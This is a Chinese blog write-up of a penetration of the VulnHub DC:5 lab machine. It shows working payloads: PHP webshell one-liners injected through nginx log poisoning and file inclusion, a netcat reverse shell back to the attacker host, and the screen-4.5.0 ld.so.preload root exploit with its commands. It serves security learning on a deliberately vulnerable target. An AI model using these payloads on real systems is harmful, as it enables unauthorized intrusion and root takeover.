vulnhub-DC:5靶机渗透记录

准备工作

在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub

导入到vmware,设置成NAT模式

打开kali准备进行渗透(ip:192.168.200.6)

 

信息收集

 利用nmap进行ip端口探测

nmap -sS 192.168.200.6/24 

 

 探测到ip为192.168.200.16的靶机,开放了80端口和111端口

再用nmap对所有端口进行探测,确保没有别的遗漏信息  

 

还有一个46300端口

先访问80端口,打开网站用Wappalyzer插件查看发现是Nginx1.6.2框架

 dirsearch扫描到thankyou.php文件访问发现发现下面的年份是会变化的,说明页面是动态的,猜测存在文件包含

 

 

漏洞利用——文件包含

 首先先测试出文件包含的变量名,可以利用bp进行爆破,根据返回长度判断,这里就不演示了,爆破出来变量名是file

存在文件包含,读取一下日志文件,nginx默认日志文件路径为/var/log/nginx/access.log

 

 

  

 可以看到我们刚刚的操作都给记录到日志文件中,这意味着我们可以随便输入恶意代码,利用日志文件来执行

先试试执行phpinfo()看看

虽然显示404但是我们的操作已经记录到日志文件中了,现在打开日志文件看看,拉到最下面,phpinfo()被成功执行! 

 写入一句话木马<?php eval($_POST['test']);?>  然后用weevely连接,但是连接失败了,可能这个工具必须要用它生成的木马才能连接,但是他的木马太长了,没有办法使用。按道理来说使用蚁剑应该也可以连上,但是我采取了另一种方法

 

写入 <?php system($_GET['cmd']); ?> 执行系统命令

 在终端使用nc进行监听 nc -lvp 9999

 在访问这个,反弹shell

http://192.168.200.16/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.200.6 9999

 

 使用python 通过pty.spawn()获得交互式shell

python -c'import pty;pty.spawn("/bin/bash")'

权限肯定是不够的接下来进行提权

 

权限提升

首先查看一下root权限用户  

find / -perm -u=s -type f 2>/dev/null

 

 这里看到一个/bin/screen-4.5.0,查找一下screen-4.5.0的漏洞

 

发现有权限提升漏洞

打开sh文件查看 vi /usr/share/exploitdb/exploits/linux/local/41154.sh

 

 看内容应该是两段代码,创建新的文件,放入tmp文件夹,分别编译一下

gcc -fPIC -shared -ldl -o tmp/libhax.so tmp/libhax.c  
gcc -o tmp/rootshell tmp/rootshell.c

  

然后在靶机使用scp远程下载kali编译好的文件

scp root@192.168.200.6:/root/tmp/libhax.so /tmp/
scp root@192.168.200.6:/root/tmp/rootshell /tmp/

如果kali没有开启ssh服务参考以下文章kali使用ssh进行登录_csdnmmd的博客-CSDN博客_kali ssh连接

 

文件上传好了之后查看刚刚的漏洞使用方法进行提权

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
~                   

 

 

 

 获得root权限,过关

 

 

参考文章

DC5-靶机_Au-CSDN博客_dc5靶机

DC-5靶机 - bingtanghulu - 博客园 (cnblogs.com)

posted @ 2021-08-03 15:56  1_Ry  阅读(332)  评论(0编辑  收藏  举报